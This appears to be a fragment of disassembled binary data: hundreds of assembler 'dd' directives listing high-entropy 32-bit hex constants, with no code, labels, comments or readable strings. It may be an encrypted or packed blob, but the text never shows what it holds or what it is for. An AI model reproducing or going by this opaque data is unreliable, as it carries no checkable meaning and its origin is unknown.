		dd 340827A8h, 2D145F0Ch, 9F0C91ACh, 4E264A13h, 0BD9464AFh
		dd 780B586h, 5B2068C8h,	0BEF2316Fh, 12B84B69h, 88BA95DAh
		dd 6740C995h, 0A35CD368h, 8092167Bh, 22F44B9h, 5F259E4Dh
		dd 232FFFC4h, 193F20AAh, 0F6673B73h, 43C29F91h,	72295477h
		dd 16D75D84h, 46245ABCh, 937C0240h, 0F9CA50CCh,	4464D900h
		dd 0D7A019F1h, 0C80B4EEBh, 0C0AEE94Bh, 3A77BD14h, 257A04F4h
		dd 9D72037Eh, 97B7C720h, 30403973h, 5C0AE9E6h, 0FD9413C9h
		dd 0B478B689h, 18DC48C6h, 0B8492AAFh, 40772E9Ah, 805164B0h
		dd 5C521F8Ah, 52085B8h,	0DB72B594h, 4BCD95Ch, 1CCD083Fh
		dd 0C1F0E0FAh, 0B8674D0Eh, 3C43DE7Bh, 0A78F30Dh, 0F441100Ch
		dd 29EF0196h, 0D044AB58h, 0E327E9CFh, 911E80Fh,	0AAAE243Bh
		dd 95D90313h, 565B6D1Dh, 168512EBh, 8C91FB20h, 95962767h
		dd 402CABFAh, 73BB3EEFh, 0D7017909h, 9B7C6F02h,	0E0CAFE02h
		dd 0F1E5E71Eh, 55192C7Bh, 0F589580Bh, 0BA6CFF5Eh, 97A2669Dh
		dd 15AB41Eh, 0B69396F9h, 0F2662733h, 0BFD14A56h, 0B92B6E39h
		dd 0F4F8D627h, 0E44EAA5h, 3984C3B2h, 9F22A2EFh,	0E48732FFh
		dd 3120DF58h, 2D4F41B5h, 84E3C12Dh, 17FA7FA5h, 81CCABDBh
		dd 58B56BC1h, 0D68107DFh, 7B420327h, 0E6A68766h, 4E2CFC9Bh
		dd 879C2112h, 0D3253BA8h, 169A8FEFh, 0D95A7E9h,	0D01024E8h
		dd 0E08916AEh, 8FEE9804h, 28714D91h, 0E64CE723h, 1E604624h
		dd 21D7532Dh, 450B407h,	0B095A8AEh, 250D4B05h, 6B0863B9h
		dd 0E9590207h, 246AFDF1h, 0FB06638Fh, 0DD4FF9F3h, 28BBF602h
		dd 724461C5h, 68648C3Ah, 665B7325h, 0A4B74FE2h,	410CF59Bh
		dd 0C09530Fh, 503E0473h, 0F18DE925h, 0B5EC3FC3h, 417A7E9h
		dd 0C8818875h, 0C100E531h, 7CB605E7h, 50EC873Ah, 0CF601F12h
		dd 4CA43415h, 0FC38311Bh, 0E98ED4B9h, 0AF121603h, 95D2A0B2h
		dd 1D8F21DCh, 0E90B0AB3h, 64ABF772h, 5E7C12CAh,	295722BDh
		dd 8AF63A72h, 17228BAh,	0F05F8AC2h, 0BCEAD860h,	29092102h
		dd 5DB330E9h, 655234Ch,	0B1A360CBh, 3284581Eh, 1AFCEFD6h
		dd 3CD020A1h, 565AC444h, 0D6419CC4h, 0EF80C8B7h, 0EA40D2E3h
		dd 6EB64114h, 0BAC4853Bh, 5E0C66A7h, 48D2DEF7h,	21BB5D4Eh
		dd 6AB205B8h, 70A94156h, 2A99F14Ah, 57D749AFh, 0AAFDAC42h
		dd 131629E1h, 0F55C1B49h, 0A65F6F50h, 0D490D90h, 21130B98h
		dd 0D6FC59CDh, 84091928h, 7C9A088Eh, 1EDF2565h,	1F4CBFB6h
		dd 2CDE720h, 56386203h,	2C436855h, 815D15E1h, 487B3B58h
		dd 81704D7Dh, 8BF669BDh, 0C437A57h, 57B7C880h, 0D6604BBAh
		dd 5485CD21h, 0F22B48F4h, 0BD1D275h, 31550504h,	102890Ch
		dd 0CA3F0BDEh, 0F62A7AF1h, 421A8B32h, 59017558h, 3805184Ah
		dd 0A62D0162h, 482F622Bh, 0FC5E54E8h, 170D7635h, 52257245h
		dd 252CEAC8h, 313587Eh,	0D536C482h, 0FBBBBE43h,	0C8EECF4Ah
		dd 0D9B238FEh, 341F6817h, 4712CBA3h, 1F646056h,	2C3CDF4Ah
		dd 3081D5E9h, 7C12F349h, 69005267h, 20A97F96h, 7F58B701h
		dd 3F590881h, 51120DF2h, 0CF6B1F56h, 0E137F17Bh, 0C0B8302Ch
		dd 8ED67924h, 8776EE0Eh, 89F9FBEFh, 53FBD54Bh, 50F9C230h
		dd 0E97A127Ch, 4A8FBC52h, 241598AFh, 0C117AEB2h, 215308E9h
		dd 9849A2F0h, 2F6A417Ch, 5E390CABh, 0D7E4055Dh,	88CEE4E2h
		dd 46120FF9h, 81A4C629h, 0B33F5808h, 0F7048984h, 7E3516CCh
		dd 0C9B174A5h, 0C350A6E1h, 0A62ED568h, 22FB90B0h, 1C279D82h
		dd 0A0201867h, 5BB12530h, 0C6242CF6h, 0DF25101Ch, 6128736Fh
		dd 9DB8F440h, 8108CB74h, 61620144h, 0BE2940E0h,	0C6C2911h
		dd 7D13581Ah, 7EB5265Ah, 0C9E9067Bh, 0B424A950h, 0EBCE3D7Fh
		dd 7C272611h, 0C45F5E2Ch, 8DB8BB9Bh, 0AA206812h, 0F95A40A3h
		dd 0FEE90914h, 0F634DD0Ch, 75EDB80Eh, 0D0F7206Ah, 0A2D8F0Dh
		dd 0D7E91AB9h, 0E68989E5h, 30887374h, 3CDC27EDh, 0ACE3A42h
		dd 0BAC812F6h, 4EDADAB0h, 7633BF1Ch, 0B6EFFD31h, 0AF989FB6h
		dd 4AD53048h, 132FBD5Ah, 36D3C8C5h, 370A4C07h, 99641F25h
		dd 0F161B1F0h, 563A3510h, 52CC11F9h, 61570B68h,	48F1CB8h
		dd 14BE30Bh, 0E0D9BCD0h, 5B4E58ECh, 0DA90FBF1h,	0CA810F24h
		dd 61A9C5DBh, 2E280EBh,	29168BABh, 41AB5AD6h, 619CC295h
		dd 30A42103h, 0A997CEEEh, 5E460BEAh, 405F97E3h,	0A456F38Fh
		dd 0C1A3AB3Fh, 38FF23F9h, 79E902ACh, 0E0455EB4h, 256F71CBh
		dd 2B5D27FDh, 70397ECEh, 0A0846855h, 0C0B61A5Bh, 3419F5BDh
		dd 0F165893h, 39E43082h, 61E341A3h, 57BF2FF8h, 0EF95A0ABh
		dd 0E26D446Ch, 6EE63F81h, 0F620601h, 7DF31080h,	301B3F0h
		dd 9EC1BB36h, 0F3C0EFC4h, 14921EE9h, 58042F93h,	486C131h
		dd 9137A008h, 48592D68h, 2DCEC198h, 0AFA0014Fh,	0C51B017Dh
		dd 9E8D0F48h, 62E93A5Eh, 1E01ADD6h, 0FBA49068h,	57387F6Bh
		dd 0C0BABFE9h, 77A5E48h, 6318158Bh, 55CB0CC2h, 5250E24Ch
		dd 77824E98h, 4272E8DEh, 2F9F7438h, 0F2BE2850h,	0C761A340h
		dd 3B55B04Dh, 1A69B5E9h
		dd 87C241DFh, 0F22F50E9h, 2D4F48D9h, 65A889E3h,	3F481AD2h
		dd 590AD455h, 0F167205Eh, 27DA1C13h, 0A0556EDh,	0F1D825E3h
		dd 7EA43E7Ah, 0B86E40FDh, 4519F70Dh, 0C5F421DFh, 42FE5FC3h
		dd 27418F39h, 0BFC07D0Bh, 10DD0794h, 94EBF04Bh,	8B315A93h
		dd 2BE90BC5h, 9DAE493h,	0BA54A005h, 0D3C9C50Eh,	9251EF9h
		dd 4D654C5Fh, 7A5429C7h, 0E3992850h, 0CA47559Ch, 168DCEECh
		dd 0BE44063Ah, 0F394E20h, 0E9213FD5h, 11CDB5AAh, 4EB8FA8Bh
		dd 4206CBBAh, 60EB4F5Bh, 7AC26890h, 0CA82A91h, 284F9220h
		dd 4E8FE7C0h, 2A99E1AFh, 6F0639FEh, 954453D9h, 0F0149BFDh
		dd 0EBA5A723h, 74312B87h, 0CB3F0187h, 564A3C88h, 0DF277B1Bh
		dd 0E793F5FAh, 390B21A7h, 340FF84Bh, 0E7011CDCh, 0F7805A58h
		dd 411D8820h, 9BF96AE3h, 0F340DA13h, 791B0EEBh,	68250702h
		dd 0E07537D2h, 0F5A62A6h, 0E781515Bh, 132F85h, 0DC9CFC0h
		dd 0E9100FC6h, 0BA0080E8h, 72F933B0h, 20585C68h, 7CFD44Fh
		dd 14824BAFh, 8487FBE0h, 2F48B899h, 0AC8959CEh,	0E828800h
		dd 0D5F2514Fh, 8807690h, 0D895DD29h, 8BA220E4h,	0FD165F5Ah
		dd 0B109DE85h, 9FC5D0DFh, 1A50E75Eh, 0ACBDB42Fh, 278A0B61h
		dd 0DD27355Eh, 3F2AD991h, 244878A4h, 8FF6FEA1h,	0B270BCE3h
		dd 0B0DC7759h, 0B702E978h, 0C5F50342h, 0D02D016Ah, 303F0C73h
		dd 0BF3C0589h, 0E7F3E7Dh, 7204D569h, 791061F8h,	50B800A9h
		dd 0D3FC946h, 6E3A172Ch, 0E5BB1D1Fh, 844F1879h,	90D182D8h
		dd 5F686CFDh, 53E8BEC9h, 6FBB54C3h, 0AAA5B197h,	0B4DD28BBh
		dd 62F5E46Bh, 0D4FC5FF0h, 9EC2DA20h, 0C6FEA0B7h, 0D2785BCAh
		dd 0D8F5ED4Eh, 44682F35h, 9682987Dh, 6FE42671h,	73A400ADh
		dd 2DE94F70h, 15313E41h, 0EFA5292Ch, 0BD617F5h,	2D1E94D5h
		dd 79093CE9h, 123EE77Fh, 0C5051F42h, 0E34C9C68h, 72260099h
		dd 21E9038Bh, 0FEFE5AB7h, 8ABA1534h, 642D5982h,	0A8D1306Ch
		dd 3A395F34h, 123AF84h,	30CBABEh, 0BE6D120h, 7DB4174Fh
		dd 67782780h, 0EEF874C4h, 79015809h, 0E9D14025h, 4037BE2Fh
		dd 0ACBB0CF7h, 5F5FEB90h, 0D31137F3h, 0AC1C303Bh, 2E6A22BAh
		dd 3B4F0831h, 67AA2FC1h, 42CFD261h, 704B6054h, 967D970Bh
		dd 0B2E92D29h, 0DCE57AC9h, 0B41180h, 810FD882h,	55B0C9D3h
		dd 9705BBFCh, 57837371h, 0EB6CC780h, 27B9F644h,	0CB4602C1h
		dd 5DE1F62Fh, 6709FA2h,	2D70C7D7h, 0AD1AB055h, 7BEA2042h
		dd 8A2EBF0h, 0F77A24D4h, 8D21FB0h, 0C27293B7h, 511F84Ch
		dd 127F36BEh, 0DFF0EB2Eh, 0AADC2784h, 805824D4h, 0CBFE42FBh
		dd 55F210AEh, 86B9D5Eh,	3FB3C9F4h, 0B1CB2E2h, 94FD2D74h
		dd 0B4C35EAFh, 265BE9CDh, 38EAC013h, 9370E909h,	0ECB09C92h
		dd 9968680h, 4FFC2978h,	1C9BC890h, 68D7898Bh, 9A66E3E4h
		dd 4A70EB07h, 445B4184h, 68B58086h, 95910FDAh, 4D4E9DA8h
		dd 75A66330h, 3C186551h, 82DE3735h, 890494Dh, 8CC4D810h
		dd 0A69DD531h, 29FBA0DEh, 1F0805D8h, 12492F59h,	0FB6BDADh
		dd 8A6311E6h, 4D028015h, 0E80F273Fh, 0B7F6E903h, 0BE8F5E04h
		dd 409F5060h, 97707ACh,	8AF1E9D0h, 5974A13h, 0C86EF6h
		dd 38E3CAABh, 1DB040A3h, 0E547900Ah, 6B38F473h,	655FD9h
		dd 0F305546Ah, 83BE0B4Ah, 0E9B05885h, 44D39C63h, 5CA528EEh
		dd 724B74BFh, 0AA206B44h, 0E7585A2Dh, 3DEBD231h, 504B8CE4h
		dd 0BB94454h, 7CFC0273h, 6168A755h, 1F433303h, 79F958BCh
		dd 2190094Bh, 0AF5D1882h, 59CF2800h, 5BFD0688h,	601E580h
		dd 0B050B21Eh, 0C816772Ch, 2E1CCDF6h, 1E5D271Bh, 0C4CC95EFh
		dd 9CAE5D4Fh, 51615788h, 7685E904h, 0B9101469h,	7EF87F88h
		dd 0BB00A4B4h, 31042F17h, 24A2B553h, 58036E44h,	875CE368h
		dd 5D0F0909h, 7E5A43B9h, 5221703Ch, 0BC9712D0h,	136E8E27h
		dd 0ED927B67h, 274FEB21h, 0EEA0E10Ch, 187A1ED2h, 95F9C3BFh
		dd 0C5210816h, 0D72D13FCh, 7917AF5Ah, 180BA2BCh, 4F04338Ah
		dd 0E78AEBD4h, 0AFD7CA12h, 0EA3B7B8Bh, 0E2F4A85Eh, 7702CA6Fh
		dd 940A1215h, 2BE2EB78h, 0CFF35735h, 9D61E982h,	5A71FCFEh
		dd 73583B80h, 0C1246929h, 8939B9E1h, 0F46606CEh, 95D4227Ah
		dd 84D0DE4Ah, 18E0FB9Fh, 0C6815302h, 0C1253609h, 9A590331h
		dd 0DD62826Ah, 0FE296140h, 0B801298h, 17A2BB53h, 0C7B84055h
		dd 883EE3FEh, 41EC56D3h, 727767Dh, 28A2D724h, 7409DD84h
		dd 7C34E77Ch, 0E19705B4h, 0BD7E5C0Bh, 0D7689A59h, 0C50BBC5Bh
		dd 97BBD7A3h, 0E17031DAh, 0B0C7FE3Bh, 696825F2h, 0DFCCB73Dh
		dd 163FC8C0h, 58C144EBh, 4610F1E3h, 0D25947h, 68505356h
		dd 9345290h, 0FC29E962h, 0D283DAD9h, 0EB4B375Eh, 5D3B580Bh
		dd 0E9B92335h, 954E1025h, 12AF6624h, 5AF4B8FDh,	0D2E629AEh
		dd 0EF6896E8h, 3331414Ah, 0B001023Ah, 58C3C047h, 0A0EB8012h
		dd 0EBDB53EFh, 9B978344h, 7604FB16h, 0BE130F43h, 8534B9A3h
		dd 92B4FB25h, 0F8FB735h, 0F71D77CDh, 602A2D18h,	736BA1Ah
		dd 811BDD12h, 3B5861E2h, 0EB003F4Bh, 0B191031h,	8CE92750h
		dd 0F45D4C42h, 0F753C23Ah, 763AD79h, 357B139Ch,	0C451E855h
		dd 1CA3AB20h, 4FA6CA4Bh, 0EFA831EBh, 541E415Dh,	7B8E3BBEh
		dd 3F515E2Eh, 500B184Ah, 170662EDh, 0CD2907F4h,	0F40882B8h
		dd 0C254898Ch, 0BF04CA44h, 3762BC5Ah, 0E1FF39C5h, 4A0470A9h
		dd 0AF8C035Eh, 0A162BDFAh, 594C8E4Eh, 82BE10BFh, 8410B777h
		dd 3BA0CD31h, 0C5D6EDB7h, 0FF2BD4AAh, 0D78C5F16h, 3BB8678Ah
		dd 0ED125CAh, 0BF9387FCh, 0CCAB3C17h, 9A6189F1h, 0B168523Ch
		dd 0D625C29Eh, 0AB875257h, 0E24E1D8Eh, 99AAD384h, 15C96438h
		dd 26681740h, 6C681DECh, 0E0404EEEh, 5BB8FEFDh,	4B6E9B2Fh
		dd 0B05AC1CAh, 0F59849DBh, 7A85BF00h, 0D7315A1Ch, 9451EDE9h
		dd 0E07E5B54h, 10DDC911h, 389268DEh, 172294CCh,	0EC43A675h
		dd 21ADADFh, 0C4AF80C2h, 74BD5A87h, 842D8466h, 0F7B8AAC6h
		dd 30B734A8h, 31C8B91Ah, 0DC46EF71h, 91BB03FCh,	0C0709343h
		dd 47CF2E3h, 9668704Bh,	5A4B309h, 64201434h, 756900EFh
		dd 8B0F3D31h, 66EDEB27h, 5FDA2215h, 0B9AC304Eh,	2663AE4Eh
		dd 9546968Ah, 0FFE9F0A1h, 1EB33B6Eh, 7AD4A193h,	0C113988Fh
		dd 84F0F8E9h, 5AD1A285h, 0F2073C90h, 0F561453h,	0D729882h
		dd 0A5F14346h, 62A4F5A4h, 6FFEB1C3h, 0BD5CB0FFh, 6E2B1271h
		dd 1CCF0E3Ah, 800D8525h, 5A5623DCh, 7E29193Bh, 5D08C350h
		dd 0C57E049Fh, 80021BACh, 0D6F626CEh, 0D9CE060h, 0B1800391h
		dd 0E9CC888Dh, 70BC5A51h, 29576802h, 64CE6BDh, 1F3070A4h
		dd 4BE6825Bh, 7676D62Fh, 0C955176Dh, 0D39230A0h, 4A215F16h
		dd 82250BBh, 5B7BE909h,	0D93A3B77h, 0E62A01AFh,	195C5925h
		dd 0ED2F5A28h, 0B4CE977Bh, 0D107A125h, 36DE8079h, 6B68E535h
		dd 0E0D10021h, 512DD8F7h, 9638A66Ah, 848ED901h,	13B61131h
		dd 679C9019h, 0B53320F2h, 0A32D019Fh, 0A3703356h, 5013BE8h
		dd 4DD8380Eh, 825495A0h, 7F010D44h, 0E94C962Ch,	9A64154Bh
		dd 885A48D3h, 56BF0320h, 0B5D0EB1Bh, 3F893095h,	2546B198h
		dd 583BDA01h, 17C92067h, 25681E40h, 929837F5h, 852C7E33h
		dd 5226466Ah, 0C659ED0Ch, 68491802h, 631F0C06h,	12C4EF8h
		dd 3A27B5FAh, 896DD965h, 5EAB64E9h, 0F7030501h,	318540D3h
		dd 6B0C2722h, 2071D5E9h, 0FA744A29h, 4C685D60h,	6249C41Ah
		dd 0C5DDAB9Dh, 0E24B0322h
		dd 0E9C806C6h, 6FDFA77Ch, 0EB4E8974h, 0B42A671Bh, 0D8B7997Fh
		dd 7AB22018h, 125EFE48h, 0EEF80F28h, 0EE957493h, 0F95F3FA6h
		dd 0B67D86D1h, 8954B73Bh, 13785F08h, 59B0EE2Dh,	8F759F05h
		dd 0B4EE5363h, 0F1EC46Dh, 0D6A725D5h, 0BF688535h, 83CD3719h
		dd 692E1023h, 0F846699h, 0B9E1C38Ah, 613D9C7Ah,	0BE3AED41h
		dd 732D0929h, 0D8EA4B75h, 0C1B4F5EBh, 42AFDE6Bh, 68543113h
		dd 5F818E62h, 3B62E0D9h, 0B55100D5h, 0F502804Bh, 66DDF632h
		dd 0DF37C268h, 3730B1C4h, 305B1828h, 17597DEBh,	0EE6EB450h
		dd 7A819485h, 0CB104E10h, 0D91D02D1h, 0E0C80F54h, 98FDAF04h
		dd 9DDC8A20h, 0AC8CFA7Eh, 0EEE6B7ADh, 830C5CD2h, 106FE2D7h
		dd 572BDF83h, 81D83FE7h, 13090B2Dh, 2F0F2459h, 270931A6h
		dd 16FDFEBCh, 5362C0D1h, 416C6668h, 1028765Ch, 4872E0A5h
		dd 3F008109h, 511775Dh,	962833E2h, 0A227E87Dh, 5E10FD46h
		dd 0EE9219CFh, 0CE88FB00h, 0D3E9DF31h, 0BAFE49D6h, 19FA3389h
		dd 9CF145B2h, 5603DDFh,	0E857E1B9h, 84AD8077h, 7F634671h
		dd 8256580Ch, 59AE000Eh, 5380750Ah, 0B7977636h,	527F4858h
		dd 4C96CC30h, 70198DBAh, 2514BA22h, 1BF45D3Dh, 391C5772h
		dd 0B95BF09Fh, 68574121h, 78A67E01h, 28462E00h,	71B0BF19h
		dd 0E97DEB09h, 1247DAD0h, 277B5D68h, 49BCD22Ah,	38887DDCh
		dd 2D2B2C93h, 0CA060A77h, 2730E108h, 0D9C201FCh, 0C2178005h
		dd 0D2F77BBAh, 4241EAFBh, 6FDE30B3h, 0BF31BB2Bh, 0CD2EC2C8h
		dd 0A7B0E463h, 0F80C94B5h, 0BE0FC04Dh, 6D1938A8h, 46DEF712h
		dd 0F308D8B4h, 12017CD0h, 0F126E9F5h, 1EED7FCEh, 6320EED4h
		dd 6455A5Ch, 7EA66E57h,	84AE5B64h, 0FFC1AF1Ch, 0E89BACFh
		dd 0FA10D901h, 0D183D804h, 0BA2A05E8h, 5765F71Dh, 7455016Ah
		dd 0C355A50Bh, 0B0AED4FAh, 3CB85DF6h, 0DF2DC77Ah, 923FF410h
		dd 30148077h, 0DDE658C3h, 0F96B6DF4h, 0FFA0FD14h, 2C134854h
		dd 17F56495h, 0C08542B0h, 2D54A8CDh, 332A2260h,	95D3446Bh
		dd 0E92F2F50h, 0B1BC4BDEh, 0D03BAF9Fh, 2938E51Eh, 0D92D0B02h
		dd 5D09D140h, 41EF6560h, 0AF6A0228h, 0D0365763h, 0C5F51D52h
		dd 1D8BBC58h, 385FFEDCh, 0BA34BCC8h, 6BE4209Dh,	32E77B9Dh
		dd 5F0BC08Ch, 0B3687981h, 80AF285Fh, 7CE5BF57h,	81760436h
		dd 0C44B75E7h, 0A9D8C089h, 4740582Fh, 80E0402Bh, 0A99AF62Eh
		dd 0C6890E1Dh, 9B8F5DECh, 6D82EF8Bh, 717DF4B3h,	865CA35h
		dd 9C240519h, 0C4808E00h, 76B75370h, 0D0E73340h, 0C7E01806h
		dd 0FC2620EAh, 0D427B25Bh, 2D4ADECh, 65383A0Ch,	31400FEDh
		dd 0F66157Fh, 5F4EE8B6h, 0B39EB7B0h, 88963C14h,	896C408Ah
		dd 1DC5CB9h, 0CD50C362h, 48F7C4D7h, 25134A08h, 9E9AACB5h
		dd 487F9C09h, 27543661h, 5D706050h, 9C011E4Fh, 9706E7C1h
		dd 6F5DBA3Ah, 8316A2A8h, 94E087A3h, 495C4B67h, 402DDFF2h
		dd 0F03EDEh, 6FD28193h,	48B9A093h, 0E85AD013h, 0F6BEE425h
		dd 4E70D6B6h, 0B7DA31E9h, 58138759h, 0D9AF6BC5h, 0C2B87D1Eh
		dd 0D9B4F9E9h, 0F0123CEBh, 0D0D74997h, 95016854h, 0C731AAC4h
		dd 25E91620h, 2420B545h, 0DAB0396h, 5F240794h, 4423903h
		dd 0EAC5F850h, 624E066Eh, 56DF11E9h, 0ADC6812h,	4DFCCABh
		dd 0C664911h, 44C1E100h, 8B0F762Eh, 0B5C1B4Dh, 0CEF4A0E9h
		dd 0FE78BFC5h, 0A7671D00h, 5AEB053Ch, 355604E3h, 81E22D42h
		dd 7A28DABh, 0EF7E78A0h, 0CEFFF53Fh, 65702757h,	0F8D7E112h
		dd 7800BD97h, 0E91E4014h, 0D284B44Ah, 586505C1h, 5279F7C2h
		dd 519A6BE2h, 8E22408h,	0BB009961h, 9D289615h, 0B6519831h
		dd 0D6513B6Eh, 0A446E82Eh, 1A3D5C0h, 217C6105h,	7CC78CE9h
		dd 20639482h, 35E8CBAFh, 82754BA9h, 95DECCAh, 5A69D077h
		dd 20E88794h, 0B65266CBh, 0F376ED70h, 0BAF85A4Ah, 184C0E69h
		dd 8452804Fh, 0EC4EA5FBh, 0EEF7E6D8h, 0EE402BD9h, 17253E74h
		dd 0AAFE0131h, 1CB8FACCh, 0EE2A3A5Bh, 1E8F8422h, 0A3AA1201h
		dd 0BD6D1EE2h, 0FB4ACE3h, 4E2B2269h, 634CAE80h,	43671F3Ah
		dd 8CBF291Ah, 3F1D0C51h, 2660114Dh, 0B49DD477h,	0F8D88B97h
		dd 86FEBF68h, 2A35F303h, 0FCAA68A9h, 0FD1709DDh, 2878EC5Ah
		dd 2E9D98F6h, 222F239Ch, 0B0E3B071h, 3492F48h, 24B070F1h
		dd 16576EF0h, 0BCDD3150h, 2B1924Eh, 9E144830h, 61BA0138h
		dd 3B6D5A17h, 18898891h, 0E10AF04h, 42B74AC2h, 45DDAA96h
		dd 9FB4E430h, 0C4A00BC4h, 262D08B7h, 73167010h,	469B0B81h
		dd 0D3F61A90h, 9F1C406Bh, 0DB0FC1FCh, 6A298C0Fh, 0B9BEFB84h
		dd 981896D7h, 0B0EE8828h, 206F1C2Ch, 0DFF7C547h, 7E2F804Fh
		dd 2A4A1326h, 417713E4h, 99C107A0h, 13E01E84h, 0F9D81AEh
		dd 0BFD9D18Ah, 0D35A986Eh, 0C929170Bh, 16665228h, 52C576BFh
		dd 0C2B0E8FFh, 0B96FE11Fh, 29FCD823h, 0B775504Eh, 65A7636Ch
		dd 24AD90F9h, 0A65880BCh, 434E0775h, 3018C9AEh,	7A41B68Eh
		dd 0B7168E01h, 651C1E34h, 0C58F0BDFh, 0A7DCB871h, 0D916E382h
		dd 99738DECh, 62EE2A2Ah, 0AF261434h, 3C8B2595h,	43ABC5F5h
		dd 4E0E64A3h, 160C2CB9h, 89CA0B0Fh, 5A1658DCh, 9AB4A258h
		dd 0F7785F07h, 0DC301002h, 0FED7E954h, 26F32DE9h, 214D3198h
		dd 445E5AF0h, 45A51604h, 32BB7BA8h, 71585892h, 0E57B74BDh
		dd 0FE8AEF47h, 0BE9FC44Eh, 9B8B51E8h, 0C98171FEh, 0BFA690Ah
		dd 39DBE0DBh, 0A0095E37h, 0F41D0543h, 2D415423h, 3D1422ABh
		dd 126E846Bh, 12221107h, 698B884Ah, 3868F140h, 0FE4E603Dh
		dd 0EA5ACB8Eh, 0AFD64E21h, 0D6064703h, 2C4F3F44h, 0F553090Ch
		dd 0AA7443E5h, 25B7E941h, 0EECEE924h, 0F07A9D90h, 0BE5AD701h
		dd 0AE36F1C0h, 9D5F4470h, 0DB058C80h, 4C2EFB41h, 6858AD52h
		dd 96380B5Fh, 647F5E43h, 0E00F2C27h, 73766B08h,	3FC1562h
		dd 4B0009E8h, 633CF005h, 11DF768h, 0B70F846Ah, 0A0605AFAh
		dd 805FEB0Ah, 61F8C144h, 70AC14C2h, 0DAB801BEh,	0B91DBC17h
		dd 1C7F3CFFh, 3280FB8Bh, 4283F681h, 0E90518B7h,	877E430Ch
		dd 82001FECh, 5C9614E5h, 0B0A628FDh, 0D2300314h, 5E94074h
		dd 6B952F07h, 4E1C75B6h, 581803D1h, 6656F846h, 3D5EC8C8h
		dd 57028F27h, 8EF5440Bh, 5F15E76Ah, 850F4910h, 434DDF13h
		dd 37E9DA8Bh, 4CAD113Ch, 0ED5E007Bh, 0FF261D9Bh, 0C039B0D6h
		dd 4EE59C21h, 2E00DC87h, 0E8BC068Ch, 1093ED9h, 0EAA7F8EBh
		dd 3487E975h, 100D699h,	9EC951B0h, 0F02497DCh, 54DA05F6h
		dd 802DAA34h, 82837A93h, 0E2898800h, 463762A7h,	69BF0030h
		dd 1E0466ADh, 6C004383h, 61324234h, 7CACB157h, 826F000Dh
		dd 4E47366Bh, 67185C64h, 0A951046Eh, 5804A77Bh,	8A60E692h
		dd 0E72C6B10h, 0EB8703B7h, 0DDF9D73Fh, 0B1CF4380h, 3592B300h
		dd 6AABF511h, 29E56432h, 0CCC7211Bh, 72101112h,	82789EBh
		dd 0DD3445Dh, 0D80E2284h, 0A20344h, 0FAE97B13h,	84BB6480h
		dd 0CA51DF1Fh, 0C0BCEECFh, 0FFA8A4ECh, 5EF008Eh, 0E6485BFBh
		dd 0EB0E6420h, 604313D0h, 0F649BD39h, 668400F0h, 91DE0346h
		dd 0B8033ADBh, 0A95440B9h, 80EDA0F3h, 36520372h, 818F9FAAh
		dd 0E50531E8h, 0CC91DB00h, 0F470BECBh, 0D11507F7h, 70DC340Fh
		dd 0FE2D96C7h, 0B1E61A00h, 0E88C2FFFh, 0F23900FAh, 0D3AFD280h
		dd 0E5FC609Eh, 92659A04h, 83C0D1DBh, 1CCB7FCh, 0E7ACC1AFh
		dd 0D5F146F2h, 8ACAE403h, 53EABA00h, 94314A82h,	0A3E0005Eh
		dd 8BF7E3F6h, 6A00AF54h
		dd 0A7E92C19h, 0C7FAA1h, 9C398F9Dh, 65825663h, 68EC030Ah
		dd 5100F0B3h, 394AB6A7h, 0B4B800B1h, 0A1E8644Bh, 8F00569Ah
		dd 0E30EA38Ch, 5B9DF8h,	4B1EB734h, 942B4438h, 0F6515C03h
		dd 0B27901B3h, 24C9E0F9h, 0FFFCF3h, 0B475F57Bh,	0F72143A0h
		dd 8401600h, 0D6C9CE0Ah, 4F7000AAh, 0C32E7FEh, 21C0C4C3h
		dd 9FD065FDh, 64D0029h,	5B492D4Eh, 5D03B4D8h, 0D50D01F4h
		dd 0B07E9BA7h, 19E7082h, 8893325Ah, 0F020910Bh,	7771A9E4h
		dd 0AF00ECF8h, 6D82C921h, 48F9E25Bh, 0F7006864h, 8ECD5EE6h
		dd 1F0048C4h, 2EC5D3D8h, 0FEA0BA3Bh, 8C9000C0h,	0D1B3F203h
		dd 0DD00B717h, 8F40C4CDh, 79FEF2Ch, 0F5D925E5h,	4DE0C02Ah
		dd 1C900232h, 14172F00h, 22060749h, 97B5003Fh, 0B6872B90h
		dd 691CB451h, 49BF9BCEh, 0ADB800ACh, 2E812D61h,	0FA9802EEh
		dd 25974F6h, 0A7073448h, 9BD4CA00h, 1FC50510h, 4C7A00A6h
		dd 0C24FB0B1h, 570093C8h, 7F87240Ah, 96792Ah, 5C8B7213h
		dd 0E9D39F47h, 0FF718D0Eh, 0B60EC08Fh, 1E634124h, 807F7D1Fh
		dd 97BA67ACh, 0D82C1B09h, 0AD13AE91h, 1CB13C00h, 0B8D6D9h
		dd 0CD4D3A29h, 0F8825473h, 4906E6B0h, 8172AAE6h, 92F210h
		dd 0E0E3C65Dh, 6EDB35BEh, 0A8E08563h, 0F10A8084h, 58E8C0F0h
		dd 711034B6h, 285E9F00h, 0B2C12F8Fh, 0F0376004h, 0C695C5CEh
		dd 0C0A13Eh, 1420FC4Dh,	0B7265Eh, 4F4DAA0h, 0A753B6D5h
		dd 0F236B0C3h, 407AB8AEh, 0A02C00A8h, 8CAFF8A5h, 0D903BC8Eh
		dd 76841E38h, 0FD2C0FEh, 462100B5h, 5E209650h, 4A0EB7ACh
		dd 23A4419h, 60BDA962h,	99E5C0h, 0BE51F5F6h, 0CB6C20DFh
		dd 0E2707100h, 3AA05458h, 2A0906ACh, 0E881B3B8h, 912E4A00h
		dd 0A3DFE1D3h, 0ECC3091Dh, 8802F72h, 802B04DBh,	8D50E700h
		dd 88A2E82h, 6CFA4C06h,	0AC077000h, 98525991h, 2747B701h
		dd 37DAE31h, 3F507820h,	60802569h, 0EADE1107h, 0DA012D76h
		dd 1366B733h, 62F03DE4h, 39D200F2h, 0B382B181h,	570058AAh
		dd 52F444D9h, 1FB5E5B2h, 35E470h, 6861EB85h, 5AB0945Ch
		dd 80746A3Ch, 8415B2Ch,	0F85D95h, 0FBDC390Dh, 0CA3BFABh
		dd 0F10052FCh, 0F90373CAh, 97E8EA5h, 0ED8BDFF2h, 0D468080h
		dd 63017C83h, 9915B20Eh, 0C4F47B05h, 0C2211E4Ah, 8B0440B7h
		dd 9F389467h, 0A63921C7h, 6422AEE1h, 3493FE4h, 0CCA3C8A1h
		dd 6BC9A47Eh, 49A6031h,	80FAAB3Eh, 0DCAE4249h, 288660h
		dd 13D44402h, 4B03DA6Fh, 310BD605h, 5C922216h, 3FE06415h
		dd 0D2877779h, 0E3D4B851h, 800084ADh, 0E155CF3Bh, 72A4BAh
